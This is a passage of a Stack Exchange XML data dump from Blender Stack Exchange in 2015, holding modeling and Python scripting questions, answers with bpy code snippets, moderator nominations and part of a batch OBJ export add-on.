OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2021-03-02T12:36:38.740" LastActivityDate="2021-03-02T12:36:38.740" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="31826" PostTypeId="1" AcceptedAnswerId="31884" CreationDate="2015-06-01T22:08:22.193" Score="7" ViewCount="166" Body="&lt;p&gt;Still trying to understand some audio/video sync issues, I noticed the following weird behaviour (that seems to be related to said issues) of Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes just opening a .blend file (not modifying anything, and I mean anything) and then exiting (without saving) will cause Blender to &lt;strong&gt;silently&lt;/strong&gt; modify this file, unless it is marked as read-only. Moreover it seems the case that when this happens, the modified .blend file is slightly smaller than the original file (around 3 kB). Also it seems that this 'phenomenon' always occurs when I have these strange audio video sync issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence I would like to know &lt;strong&gt;what causes&lt;/strong&gt; Blender to silently modify .blend files, and &lt;strong&gt;which data&lt;/strong&gt; it is that is being modified.&lt;/p&gt;&#xA;" OwnerUserId="14612" LastActivityDate="2019-01-05T09:50:48.910" Title=".blend files 'magically' shrinking?" Tags="&lt;blend-files&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31827" PostTypeId="6" CreationDate="2015-06-01T22:46:17.870" Score="0" Body="&lt;p&gt;Hello :)&lt;br&gt;&#xA;I've been an active user in this community ever since I first joined, almost two years ago.&lt;br&gt;&#xA;Since then I've learned much about both Blender and StackExchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm lucky enough to become a moderator, I plan to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Welcome and encourage new users, especially users who are not yet familiar with the ways of SE.&lt;/li&gt;&#xA;&lt;li&gt;Maintain a high standard of quality by editing posts and tags, deleting spam, and watching the review queues.&lt;/li&gt;&#xA;&lt;li&gt;Discuss the workings of the site on meta, by proposing ideas, giving feedback, and sharing thoughts.&lt;/li&gt;&#xA;&lt;li&gt;Continue participating as a user. Answering questions, asking questions, and learning more every day.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In other words, pretty much what I've been doing already, but more effectively ;)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-06-02T00:11:06.643" LastActivityDate="2015-06-02T00:11:06.643" CommentCount="9" CommunityOwnedDate="2015-06-01T22:46:17.870" ContentLicense="CC BY-SA 3.0" />
  <row Id="31830" PostTypeId="6" CreationDate="2015-06-02T00:10:46.227" Score="0" Body="&lt;p&gt;By popular appeal (@GiantCowFilms &lt;em&gt;cough, cough&lt;/em&gt;) I now present my nomination. I haven't been around on the site quite as long as many of the other applicants, but I have been very active in the year I have been around. Some of the things that might make me a good consideration for the position of moderator:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I have real-world experience handling responsibility. I am a C/TSgt in the Civil Air Patrol and an active part of my local squadron. I know how to commit to something and get it done. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am single and homeschooled, leaving me lots of free time to dedicate to the care of the site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have been actively participating in site activities and normal functions, and know the ropes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I am an active Blender user and can be absent for entire days sometimes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am active in the Civil Air Patrol and activities may limit activities occasionally&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Stats:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Almost 2,000 upvotes cast&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Gained over 6,500 rep this year&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Over 80 flags, the vast majority of which were deemed helpful&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Actively reviews posts in review queues (2 Reviewer badges and counting)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;650+ reviews&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would really enjoy being able to contribute to the community as a moderator.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-06-02T00:10:46.227" LastActivityDate="2015-06-02T00:10:46.227" CommentCount="5" CommunityOwnedDate="2015-06-02T00:10:46.227" ContentLicense="CC BY-SA 3.0" />
  <row Id="31831" PostTypeId="2" ParentId="31812" CreationDate="2015-06-02T00:42:49.047" Score="3" Body="&lt;p&gt;Working final code for those curious : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bone_names = [b.name for b in bpy.context.selected_pose_bones]&#xA;fcurves = bpy.context.active_object.animation_data.action.fcurves&#xA;&#xA;for curve in fcurves:&#xA;    if curve.data_path.split('&quot;')[1] in bone_names:&#xA;        #1&#xA;        keyframePoints = fcurves[4].keyframe_points#intiger being the index counting down the Actions Channel list e.g X location= [1] Y location = [2]&#xA;        for keyframe in keyframePoints:&#xA;            keyframe.co[0] += .04 # the float value is How far it has to go in the X location. &#xA;            keyframe.handle_left[0] += .04&#xA;            keyframe.handle_right[0] += .04&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14756" LastActivityDate="2015-06-02T00:42:49.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31832" PostTypeId="6" CreationDate="2015-06-02T02:19:12.270" Score="0" Body="&lt;p&gt;Hi, I've been involved in blender.stackexchange since the beginning,&lt;br&gt;&#xA;my main motivation is to have a great place for Q&amp;amp;A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pros:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Good knowledge of Blender's internals.&lt;/li&gt;&#xA;&lt;li&gt;Some experience moderating already (This site, Blenderartists too).&lt;/li&gt;&#xA;&lt;li&gt;Long time Blender user/developer involved in both communities.&lt;/li&gt;&#xA;&lt;li&gt;Active on other (related) online communities&lt;br&gt;&lt;em&gt;(stackoverflow, also Blender user and developer communities)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Cons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Limited time for moderation.&lt;/li&gt;&#xA;&lt;li&gt;Not interested in &lt;em&gt;&quot;Community Building&quot;&lt;/em&gt; activities ... hats, competitions.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-06-03T23:07:12.953" LastActivityDate="2015-06-03T23:07:12.953" CommentCount="5" CommunityOwnedDate="2015-06-02T02:19:12.270" ContentLicense="CC BY-SA 3.0" />
  <row Id="31833" PostTypeId="1" CreationDate="2015-06-02T02:28:43.713" Score="1" ViewCount="82" Body="&lt;p&gt;I am looking into modeling some realistic houses/buildings as a collection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also one of the few times google images has failed me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find helpful reference images and building plans. Anyone know of a good place to find these? www.the-blueprints.com/ sadly has no category for buildings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14757" LastActivityDate="2015-06-02T02:28:43.713" Title="Where can I find reference images for building modeling?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-06-02T08:53:57.930" ContentLicense="CC BY-SA 3.0" />
  <row Id="31835" PostTypeId="2" ParentId="31814" CreationDate="2015-06-02T05:43:35.193" Score="7" Body="&lt;p&gt;i have created a blend example to show how to do this.&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/36360&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/blend/36360&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ill warn you that this is big hack. it will most likley not work if you submit this job to an external renderfarm, deppending on the renderfarm settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we want to do is create a driver on a transform property of an unrelated empty. Then write a custom Python Driver that updates the Text.body string with the Scene.cycles.samples value.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;create an empty&lt;/li&gt;&#xA;&lt;li&gt;create a driver on the x transform (not too important which axis)&lt;/li&gt;&#xA;&lt;li&gt;run script in text editor.&lt;/li&gt;&#xA;&lt;li&gt;set up driver&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def update_driver():&#xA;        bpy.data.objects['Text'].data.body = &quot;%i samples&quot; %bpy.context.scene.cycles.samples&#xA;        return 0&#xA;&#xA;bpy.app.driver_namespace[&quot;update_driver&quot;] = update_driver&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run this code when you open the file. now our custom pydriver will be available in the expression field of the driver. If you have already entered the expression before running the script, you will need to click in the expression field, and press enter to update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is important to have this fake_driver variable connected to a transform property of an object. This 'hack' forces the driver to update on each frame.&#xA;In the driver we now enter update_driver() for the expression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6EcY8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your settings, you may need to open the User preferences and turn on 'auto run python scripts' to allow our python driver to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IlsXa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5838" LastEditorUserId="5838" LastEditDate="2015-06-02T06:37:35.933" LastActivityDate="2015-06-02T06:37:35.933" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31836" PostTypeId="1" AcceptedAnswerId="31842" CreationDate="2015-06-02T05:46:05.367" Score="2" ViewCount="206" Body="&lt;p&gt;Sometimes when Blender is doing rigid body simulations, it says 'Not Responding' and then after a while it responds again. But when I make the computer 'hibernate', while Blender is in 'Not Responding' state and I resume the computer, then Blender freezes up and I have to close Blender and start everything all over again. What should I do next time, instead of closing Blender and start all over again?&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="2217" LastEditDate="2015-06-02T13:53:56.703" LastActivityDate="2015-06-02T20:31:52.850" Title="Blender freezes up, after hibernate while Blender is 'Not Responding'" Tags="&lt;rigid-body-simulation&gt;&lt;windows&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31837" PostTypeId="2" ParentId="31814" CreationDate="2015-06-02T06:25:47.230" Score="-2" Body="&lt;p&gt;consider the python script pseudo excerpt&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def somefunctionName():&#xA;    object.data.body = textcreated&#xA;&#xA;    //use one only ... good to know about the pair&#xA;    bpy.app.handlers.frame_change_pre.append(somefunctionname)&#xA;&#xA;    //bpy.app.handlers.frame_change_post.append(somefunctionname)&#xA;    //to have a function called on every frame render&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may also have to remove any previously append-ed function or reload Blender.&lt;br&gt;&#xA;The appends can accumulate if you are furiously updating your python&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can search at this site for many examples.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="2217" LastEditDate="2015-06-02T12:50:31.953" LastActivityDate="2015-06-02T12:50:31.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31838" PostTypeId="1" AcceptedAnswerId="31839" CreationDate="2015-06-02T11:39:54.477" Score="2" ViewCount="844" Body="&lt;p&gt;I'm trying to add a driver to a shape key but when I right click on the value line, the menu skips &quot;Add Driver&quot; and goes from &quot;Insert Keyframe&quot;, &quot;Clear Keyframe&quot;, to &quot;Add to Keying Set&quot;.  I have Blender 2.74. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14760" LastActivityDate="2015-06-02T11:55:37.187" Title="&quot;Add driver&quot; not on menu" Tags="&lt;drivers&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31839" PostTypeId="2" ParentId="31838" CreationDate="2015-06-02T11:55:37.187" Score="3" Body="&lt;p&gt;Thats because you are already controlling the value with keyframes. Drivers and keyframes do not mix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select &lt;em&gt;Clear Keyframes&lt;/em&gt; from the menu and then add driver.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-06-02T11:55:37.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31840" PostTypeId="1" CreationDate="2015-06-02T12:05:59.457" Score="1" ViewCount="571" Body="&lt;p&gt;When I set dof in the viewport it looks ok but my rendering just doesn't show it in the same way. Just there is no dof. My scene has multiple layers in compositor. What have I missed?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14762" LastActivityDate="2015-06-02T12:05:59.457" Title="Blender cycles dof viewport problem" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;3d-view&gt;&lt;depth-of-field&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31841" PostTypeId="1" AcceptedAnswerId="31876" CreationDate="2015-06-02T12:31:01.907" Score="5" ViewCount="662" Body="&lt;p&gt;Here is a scenario in my addon.&#xA;There are faces (triangles, quads, polygons) drawn by bgl. They may not have the corresponding Blender mesh counterparts. I'd like to click on on a bgl face and to know which bgl face was hit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how would you realize picking bgl faces?&lt;/p&gt;&#xA;" OwnerUserId="14200" LastEditorUserId="55" LastEditDate="2015-06-03T03:17:32.527" LastActivityDate="2015-06-03T23:01:56.527" Title="Python, OpenGL to pick geometry only defined in the script" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31842" PostTypeId="2" ParentId="31836" CreationDate="2015-06-02T12:37:10.140" Score="0" Body="&lt;p&gt;I think you know the answer to this one already. 3D can be one of the of the most computationally intensive activities to throw at a computer. It becomes unresponsive because is busy crunching the numbers to work out your simulation..... Judging by your post, you are indeed pushing your computer to it's limits. Let it do its' job... don't hibernate it... get a book, meditate, go for a walk, interact with other humans. 3D requires a bit of patience sometimes... Once blender has finished is job and your computer is back, bake the simulation and save your file so you don't have to start over&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-06-02T12:37:10.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31843" PostTypeId="1" CreationDate="2015-06-02T14:01:55.437" Score="2" ViewCount="179" Body="&lt;p&gt;I know there's probably been a million questions like this one, but can somebody help me sort this out? I'm making a zipper with the array modifier and trying to get it to follow a Curve I've assigned using the Curve Modifier, but it just isn't working properly. Here's a few pics of what I mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Pic of the zipper and the curve object)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/em1VJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Pic of my attempt to use the curve modifier on the zipper)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9cIhy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11387" LastEditorUserId="241" LastEditDate="2015-06-02T14:04:38.910" LastActivityDate="2015-06-02T14:04:38.910" Title="My arrayed object is not following the curve I've assigned to it using the Curve Modifier" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31844" PostTypeId="2" ParentId="27236" CreationDate="2015-06-02T14:04:17.747" Score="1" Body="&lt;p&gt;I had the same problem. For me, the issue was that I had installed pillow with the package manager of my linux distribution, however I had downloaded blender from the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that the problem is a different libpng version that pillow was using, and that blender was linked against.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix the issue, I downloaded blender from my linux distribution instead. Maybe you can try the same?&lt;/p&gt;&#xA;" OwnerUserId="13212" LastActivityDate="2015-06-02T14:04:17.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31846" PostTypeId="1" AcceptedAnswerId="31848" CreationDate="2015-06-02T14:20:51.070" Score="4" ViewCount="1149" Body="&lt;p&gt;I'm looking for a way to do something very similar to the technique using the skin modifier, but with NURBS. In other words, I'm looking for a way to do something similar to a convex hull, but not necessarily convex. I want a tree-like meshing with custom branch morphing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;Example with skin modifier:&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XaqvE.png&quot; alt=&quot;Skin modifier example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With surfaces, the make segment command &lt;kbd&gt;f&lt;/kbd&gt; doesn't allow to do branching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extruding a nurbs curve only works with uniform extrusion (unless I'm mistaken), meaning you cannot morph from, say, a circle to an oval. You can only uniformely reduce the size of the extrusion shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python code is welcome as an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Initial curves describing the volume:&lt;/strong&gt; &lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mNAAo.png&quot; alt=&quot;Set of circles describing a branch&quot;&gt;&#xA;&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Desired meshing from NURBS:&lt;/strong&gt; &lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hUAhs.png&quot; alt=&quot;Desired nurbs meshing&quot;&gt; &#xA;&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Make segment unwanted result:&lt;/strong&gt; &lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oZGSg.png&quot; alt=&quot;Unwanted result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13633" LastActivityDate="2018-08-24T21:23:50.830" Title="NURBS surface from branching curves?" Tags="&lt;python&gt;&lt;bezier-curves&gt;&lt;nurbs-surface&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31847" PostTypeId="2" ParentId="27236" CreationDate="2015-06-02T14:43:04.407" Score="3" Body="&lt;p&gt;I am using Pillow successfully on MacOSX but maybe not in the cleanest way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell, I'm using Blender's own python34 and I add a path to the proper version of Pillow in my script&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download Pillow for python34 and extract it in a folder – on MacOS, macport &amp;amp; pip automatically take care of that for me&lt;/li&gt;&#xA;&lt;li&gt;Take the path to Pillow within that folder&lt;/li&gt;&#xA;&lt;li&gt;In your python script before you import Pillow, add the code below&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Python&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;path_to_pillow = 'C:/somewhere_on_your_disk/pillow/'&#xA;sys.path.append(path_to_pillow)&#xA;from PIL import Image&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'll try to run your code and see if it works on my side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you copy the error you're getting when using PIL with Blender ?&lt;/p&gt;&#xA;" OwnerUserId="13633" LastActivityDate="2015-06-02T14:43:04.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31848" PostTypeId="2" ParentId="31846" CreationDate="2015-06-02T14:43:18.233" Score="3" Body="&lt;p&gt;Blender is not known or marketed for its NURBS support, it is primarily a polygon modelling tool. While we have great modifiers like the Skin Modifier you mentioned, we don't have anything out of the box that would produce comparable NURBS surfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A scripted solution also seems a bit beyond what is convenient to do in Blender, the API has limited support for generating arbitrary patch shapes that would be needed to do your Question justice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be proven wrong someday, or today, but for now I'd like to offer this as an interim answer and not just a cheeky comment. There are better tools for generating NURBS, &lt;a href=&quot;http://www.freecadweb.org/&quot; rel=&quot;nofollow&quot;&gt;consider freeCAD&lt;/a&gt; or any of the other free CAD/NURBS alternatives.&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-06-02T14:43:18.233" CommentCount="7" CommunityOwnedDate="2015-06-02T14:43:18.233" ContentLicense="CC BY-SA 3.0" />
  <row Id="31849" PostTypeId="1" AcceptedAnswerId="31850" CreationDate="2015-06-02T14:59:27.640" Score="1" ViewCount="1084" Body="&lt;p&gt;I found this answer (first answer) &lt;a href=&quot;https://blender.stackexchange.com/questions/7094/python-assign-custom-tag-to-vertices?answertab=active#tab-top&quot;&gt;Python: assign custom tag to vertices&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty excited of this. But I have some questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) How to get all vertices which have 'my_id' custom data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) How to remove 'my_id' custom data from all vertices. To clear vertices from unnecessary custom data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2016-10-06T14:27:13.220" Title="Custom data of vertices, Vertex Layers" Tags="&lt;python&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31850" PostTypeId="2" ParentId="31849" CreationDate="2015-06-02T15:13:45.500" Score="3" Body="&lt;p&gt;1) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [i for i in bm.verts if i[my_id]]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will work because any int value other than &lt;code&gt;0&lt;/code&gt; will return &lt;code&gt;True&lt;/code&gt;. Therefore there's an assumption that you aren't using the value &lt;code&gt;0&lt;/code&gt; for anything meaningful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom id data is removed after &lt;code&gt;bm.free()&lt;/code&gt;. I don't know if it can be wiped before.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;for the sake of completeness&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import bmesh&#xA;&amp;gt;&amp;gt;&amp;gt; bm = bmesh.new()&#xA;&amp;gt;&amp;gt;&amp;gt; obj = bpy.context.active_object&#xA;&amp;gt;&amp;gt;&amp;gt; bm.from_mesh(obj.data)&#xA;&amp;gt;&amp;gt;&amp;gt; my_id = bm.verts.layers.int.new('id')&#xA;&amp;gt;&amp;gt;&amp;gt; bm.verts.ensure_lookup_table()&#xA;&amp;gt;&amp;gt;&amp;gt; bm.verts[0][my_id]&#xA;0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This shows that even before you assign a specific value to your &lt;code&gt;layer.int&lt;/code&gt; for that vertex, it will already have a default 0.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-03T04:48:53.320" LastActivityDate="2015-06-03T04:48:53.320" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31851" PostTypeId="1" CreationDate="2015-06-02T15:33:12.993" Score="1" ViewCount="263" Body="&lt;p&gt;I use the VSE for editing a lot of screen recordings, and would like to take the output from these editing sessions and use them in the compositor. As far as I can tell, the only way to do so is to render everything out ahead of time and use a video input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use one instance of Blender as a frame server and use that server in the compositor of another instance? Alternatively, is there any way to do this in one process, frame server or not?&lt;/p&gt;&#xA;" OwnerUserId="14765" LastEditorUserId="14765" LastEditDate="2015-06-02T15:47:52.850" LastActivityDate="2015-06-02T18:08:10.867" Title="Compositor - Frameserver Input" Tags="&lt;compositor&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31852" PostTypeId="2" ParentId="5382" CreationDate="2015-06-02T17:25:30.397" Score="17" Body="&lt;p&gt;Following Add-on allows to batch export the &lt;strong&gt;current selection&lt;/strong&gt; or simply &lt;strong&gt;all scene geometry objects as separate wavefront&lt;/strong&gt; &lt;code&gt;.obj&lt;/code&gt; &lt;strong&gt;files&lt;/strong&gt;. All usual options like &lt;em&gt;Apply Modifiers&lt;/em&gt; or &lt;em&gt;Write Materials&lt;/em&gt; are available too:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EFoyj.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EFoyj.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;&lt;em&gt;Click to enlarge&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h3&gt;io_batch_export_objs.py (updated for 2.8x)&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;# ##### BEGIN GPL LICENSE BLOCK #####&#xA;#&#xA;#  This program is free software; you can redistribute it and/or&#xA;#  modify it under the terms of the GNU General Public License&#xA;#  as published by the Free Software Foundation; either version 2&#xA;#  of the License, or (at your option) any later version.&#xA;#&#xA;#  This program is distributed in the hope that it will be useful,&#xA;#  but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA;#  GNU General Public License for more details.&#xA;#&#xA;#  You should have received a copy of the GNU General Public License&#xA;#  along with this program; if not, write to the Free Software Foundation,&#xA;#  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.&#xA;#&#xA;# ##### END GPL LICENSE BLOCK #####&#xA;# &amp;lt;pep8 compliant&amp;gt;&#xA;&#xA;bl_info = {&#xA;    &amp;quot;name&amp;quot;: &amp;quot;Export multiple OBJ files&amp;quot;,&#xA;    &amp;quot;author&amp;quot;: &amp;quot;p2or, brockmann, trippeljojo&amp;quot;,&#xA;    &amp;quot;version&amp;quot;: (0, 2, 0),&#xA;    &amp;quot;blender&amp;quot;: (2, 80, 0),&#xA;    &amp;quot;location&amp;quot;: &amp;quot;File &amp;gt; Import-Export&amp;quot;,&#xA;    &amp;quot;description&amp;quot;: &amp;quot;Export multiple OBJ files, UV's, materials&amp;quot;,&#xA;    &amp;quot;warning&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;wiki_url&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;tracker_url&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;category&amp;quot;: &amp;quot;Import-Export&amp;quot;}&#xA;&#xA;&#xA;import bpy&#xA;import os&#xA;&#xA;from bpy_extras.io_utils import ExportHelper&#xA;&#xA;from bpy.props import (BoolProperty,&#xA;                       FloatProperty,&#xA;                       StringProperty,&#xA;                       EnumProperty,&#xA;                       CollectionProperty&#xA;                       )&#xA;&#xA;&#xA;class ExportMultipleObjs(bpy.types.Operator, ExportHelper):&#xA;    &amp;quot;&amp;quot;&amp;quot;Batch export objects as obj files&amp;quot;&amp;quot;&amp;quot;&#xA;    bl_idname = &amp;quot;export_scene.batch_obj&amp;quot;&#xA;    bl_label = &amp;quot;Batch export OBJ's&amp;quot;&#xA;    bl_options = {'PRESET', 'UNDO'}&#xA;&#xA;    # ExportHelper mixin class uses this&#xA;    filename_ext = &amp;quot;.obj&amp;quot;&#xA;&#xA;    filter_glob = StringProperty(&#xA;            default=&amp;quot;*.obj;*.mtl&amp;quot;,&#xA;            options={'HIDDEN'},&#xA;            )&#xA;&#xA;    # List of operator properties, the attributes will be assigned&#xA;    # to the class instance from the operator setting before calling.&#xA;&#xA;    # context group&#xA;    use_selection_setting: BoolProperty(&#xA;            name=&amp;quot;Selection Only&amp;quot;,&#xA;            description=&amp;quot;Export selected objects only&amp;quot;,&#xA;            default=True,&#xA;            )&#xA;    use_animation_setting: BoolProperty(&#xA;            name=&amp;quot;Animation&amp;quot;,&#xA;            description=&amp;quot;Write out an OBJ for each frame&amp;quot;,&#xA;            default=False,&#xA;            )&#xA;&#xA;    # object group&#xA;  